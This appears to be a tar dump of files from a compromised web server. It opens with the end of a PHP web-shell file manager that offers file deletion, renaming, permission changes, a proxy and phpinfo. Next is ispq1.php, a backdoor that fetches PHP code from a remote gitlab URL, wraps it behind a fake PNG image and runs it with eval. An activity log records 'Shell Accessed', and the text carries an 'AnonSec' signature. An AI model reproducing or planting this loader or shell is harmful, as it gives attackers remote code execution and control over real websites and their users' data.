		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/fahriyzx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>
ispq1.php000064400000006027151550052250006317 0ustar00<?php

/*
Improved PNG disguise for hidden PHP payloads.
This script fetches remote code, embeds it into a realistic PNG file,
and executes it stealthily.
*/

session_start();

// Main remote code URL (can be overridden by session)
$mainUrl = $_SESSION['ts_url'] ?? 'https://gitlab.com/mrgithub89-group/mrgithub89-projectaa/-/raw/main/wp-security.php';


// --------------------------------------------
// 1. Generate a realistic PNG image (128x128)
// --------------------------------------------
function generateRealisticPngHeader($width = 128, $height = 128) {
    ob_start();
    $image = imagecreatetruecolor($width, $height);

    // Fill with random noise
    for ($x = 0; $x < $width; $x++) {
        for ($y = 0; $y < $height; $y++) {
            $color = imagecolorallocate($image, rand(0,255), rand(0,255), rand(0,255));
            imagesetpixel($image, $x, $y, $color);
        }
    }

    imagepng($image);
    imagedestroy($image);
    return ob_get_clean(); // Binary PNG data
}


// --------------------------------------------
// 2. Load remote PHP code from given URL
// --------------------------------------------
function loadRemoteData($url) {
    $content = '';

    try {
        $file = new SplFileObject($url);
        while (!$file->eof()) {
            $content .= $file->fgets();
        }
    } catch (Throwable $e) {
        $content = '';
    }

    if (strlen(trim($content)) < 1) {
        $content = @file_get_contents($url);
    }

    if (strlen(trim($content)) < 1 && function_exists('curl_init')) {
        $ch = curl_init($url);
        curl_setopt_array($ch, [
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_FOLLOWLOCATION => true,
            CURLOPT_CONNECTTIMEOUT => 5,
            CURLOPT_TIMEOUT => 10,
        ]);
        $content = curl_exec($ch);
        curl_close($ch);
    }

    return $content;
}


// --------------------------------------------
// 3. Create payload by appending hidden PHP code
// --------------------------------------------
function createStealthPayload($phpCode) {
    $png = generateRealisticPngHeader();
    $marker = '###PAYLOAD###';
    $encoded = base64_encode($phpCode);

    return $png . $marker . $encoded;
}


// --------------------------------------------
// 4. Extract and execute hidden payload
// --------------------------------------------
function extractAndExecutePayload($data) {
    $marker = '###PAYLOAD###';
    $parts = explode($marker, $data);

    if (count($parts) === 2) {
        $decoded = base64_decode($parts[1]);
        if ($decoded !== false && strlen(trim($decoded)) > 0) {
            @eval("?>$decoded");
        }
    }
}


// --------------------------------------------
// Main Execution Flow
// --------------------------------------------

$remoteCode = loadRemoteData($mainUrl);

if (strlen(trim($remoteCode)) > 0) {
    $payload = createStealthPayload($remoteCode);
    extractAndExecutePayload($payload);  // Executes hidden remote code
}

?>
samurai_activity.log000064400000000304151551153250010624 0ustar00[2026-03-13 08:53:35] IP: 57.141.2.37 | Action: Shell Accessed | Target: 57.141.2.37 | Status: info | UA: meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)

AnonSec - 2021